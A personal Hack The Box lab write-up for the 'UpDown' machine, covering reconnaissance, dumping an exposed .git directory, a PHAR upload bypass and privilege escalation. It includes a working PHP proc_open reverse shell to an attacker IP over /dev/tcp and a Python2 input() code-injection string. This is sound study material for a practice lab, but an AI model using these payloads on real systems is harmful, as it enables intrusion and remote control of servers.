HTB - UpDown

running nmap checking out the site itself

![](/img/Pasted image 20240616173536.png)

some site checker website ![](/img/Pasted image 20240616173716.png)

so if we put our IP in, it calls back home - interesting, but i dont actually know if this will help me.

┌──(root㉿kali)-[~]
└─# nmap -Pn -p- -A 10.10.11.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 18:37 EDT
Nmap scan report for 10.10.11.177
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/16%OT=22%CT=1%CU=35085%PV=Y%DS=2%DC=T%G=Y%TM=666F
OS:698D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

running ffuf ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://siteisup.htb/FUZZ -recursion

dev [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 50ms]

we found dev subdirectory and used git-dumper to access the git files we found in .git from directory busting

┌──(root㉿kali)-[~/box/updown]
└─# git-dumper http://siteisup.htb/dev/.git dev
[output]

┌──(root㉿kali)-[~/box/updown/dev]
└─# ls -al
total 40
drwxr-xr-x 3 root root 4096 Jun 16 19:24 .
drwxr-xr-x 3 root root 4096 Jun 16 19:24 ..
-rw-r--r-- 1 root root   59 Jun 16 19:24 admin.php
-rw-r--r-- 1 root root  147 Jun 16 19:24 changelog.txt
-rw-r--r-- 1 root root 3145 Jun 16 19:24 checker.php
drwxr-xr-x 7 root root 4096 Jun 16 19:24 .git
-rw-r--r-- 1 root root  117 Jun 16 19:24 .htaccess
-rw-r--r-- 1 root root  273 Jun 16 19:24 index.php
-rw-r--r-- 1 root root 5531 Jun 16 19:24 stylesheet.css

┌──(root㉿kali)-[~/box/updown/dev]
└─# cat .htaccess  
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

we use the technique i just put in my notes to apply this special header to all requests using burp proxy [[Burp#Setting permanent header]]

![](/img/Pasted image 20240616184629.png)

the tl;dr of this next part is twofold: ![](/img/Pasted image 20240616184658.png)

include() function in php is apparently quite nasty and

![](/img/Pasted image 20240616184719.png)

the extension checking part of the code only checks for php but not phar

While the logic behind the web application blacklists extensions such as .php and .py , it does not check for .phar files, which is a package format for bundled PHP files, and can be just as effective as regular PHP files for remote code execution. From a blue-team perspective, this is why oftentimes it is more secure to whitelist certain extentions, instead of trying to blacklist all potentially malicious ones.

https://en.wikipedia.org/wiki/PHAR_(file_format)

this is kind of tricky - we need to zip a revshell (the PHAR format is basically an archive likewise zip is) what im doing here is taking the php reverse shell from pentestmonkey github, zipping it, and moving it to "zip.txt" because .zip is an illegal file format according to the code

![](/img/Pasted image 20240616185311.png) looking at code, we find our zip ![](/img/Pasted image 20240616185458.png)

just clicking here doesn't do much for us though, it just downloads the file. so im going to stop reading the writeup and actually just google around

https://www.bugbountyhunter.com/hackevents/report?id=923

this bugbounty page seems to use a similar technique to use phar:// wrapper to get shit

IT WASNT THAT SIMPLE SO IM FOLLOWING THE WRITEUP AGAIN

![](/img/Pasted image 20240616190046.png) upload and use phar wrapper

![](/img/Pasted image 20240616190317.png)

I DO NOT KNOW WHY THIS WORKS. specifically the /info.txt/info portion of this. i understand grabbing the archive, but what does /info do really? i thought if anything phpinfo would be the correct thing to do. ![](/img/Pasted image 20240616190525.png)

decent amount of shit is disabled

https://github.com/teambi0s/dfunc-bypasser

looping through an array of dangerous functions which could be leveraged to pop a shell (this script was broken you will just have to use hacktricks and see what ISNT under disabled_functions that can be leveraged for RCE)


starting from the top:

proc_open shell

<?php
$descriptorspec = array(
0 => array('pipe', 'r'), //stdin
1 => array('pipe', 'w'), //stdout
2 => array('pipe', 'a'), //stderr
); 

$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/4444 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?> 

upload the file and start a listener

navigating to http://dev.siteisup.htb/?page=phar://uploads/de0752f400096dd4fd9c408a8fcfa198/shell.txt/shell pops open a shell


privesc

![](/img/Pasted image 20240616193554.png)


The script asks for input for a URL using the built-in input() function. The input() function in Python2 is known to be insecure, as it acts similar to the eval() function, which allows for executing code as a string. We can tell that the script is being ran with Python2 , as the print statements don't have parentheses. We can try exploiting this by using the following input
__import__('os').system('/bin/bash')

![](/img/Pasted image 20240616193826.png) ![](/img/Pasted image 20240616193902.png) ![](/img/Pasted image 20240616194011.png)

![](/img/Pasted image 20240616194049.png) https://gtfobins.github.io/gtfobins/easy_install/ ![](/img/Pasted image 20240616194229.png)


this was honestly fucking brutal and kind of humbling. i feel like i would have been stuck on this box for so long without following a writeup